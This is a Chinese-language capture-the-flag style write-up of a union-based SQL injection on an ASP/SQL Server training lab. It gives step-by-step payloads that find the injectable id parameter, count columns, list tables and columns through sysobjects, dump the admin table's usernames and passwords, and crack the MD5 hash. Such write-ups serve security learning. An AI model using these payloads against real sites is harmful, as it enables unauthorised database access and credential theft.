- 通过靶场背景介绍得知这个web采用的是sql server 数据库
进入模拟环境后发现有两个输入框和一个滚动条;
先尝试了在输入框中测试发现提交的是post而且不论密码还是账号错误返回一致,直接放弃从这里注入
从滚动条点进去发现这个页面很友好,URL上直接有id=于是在这里尝试注入
- 通过’ and 1=1等来判断是否是注入点
发现输入’程序报错,输入and 1=1正常显示 and 1=2报错显示,那这里可以注入无疑了
- 判断这个查询有多少位,在报错显示的前提下构造selec函数,通过不断在select后面加‘,null’来测试有几位,根据测试发现当位数不对是会程序报错当位数对了就会正常显示p?id=2 and 1=2 union all select null,null,null
3.通过asp?id=2 and 1=2 union all select null,null,null,null发现总共有4个位置,然后具体尝试那个位置可以显示数据,替换null为 1、2、3等
经过尝试发现第二可以正常显示,第一位和第四位不会显示二第三位在输入数字的时候回程序报错,输入字符会显示则说明第二位是数字显位,第三位是字符型显位
4.在找出的显位上查询信息
@@version 获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
5.通过库名来查找表名
asp?id=2 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects),null,null
直接查询会发现显示的是systowsetcolumns表好像是个系统表
使用count()函数看了下有51个表这不太行应该大部分都是系统表,那么尝试在后面加判断只显示用户创建的表ew_list.asp?id=2 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),null,null
然后在后面加and name not in(‘已查到的表’)一直查发现仅只有两张用户建的表一张管理表一张公告表那很明显管理表更有用
6.得到想要的表之后再查找表中的列名p?id=2 and 1=2 union all select null,(select top 1 col_name(object_id('manage'),此处为相查的第几列) from sysobjects),null,null
发现这个表中总共三列分别是id username password
7.知道了表名和列名就可以直接用联合查询来查账号密码了sp?id=2 and 1=2 union all select null,username,password,null from manage
8.把获得的MD5加密密码拿去解码下就能通过账号密码登录并获得key了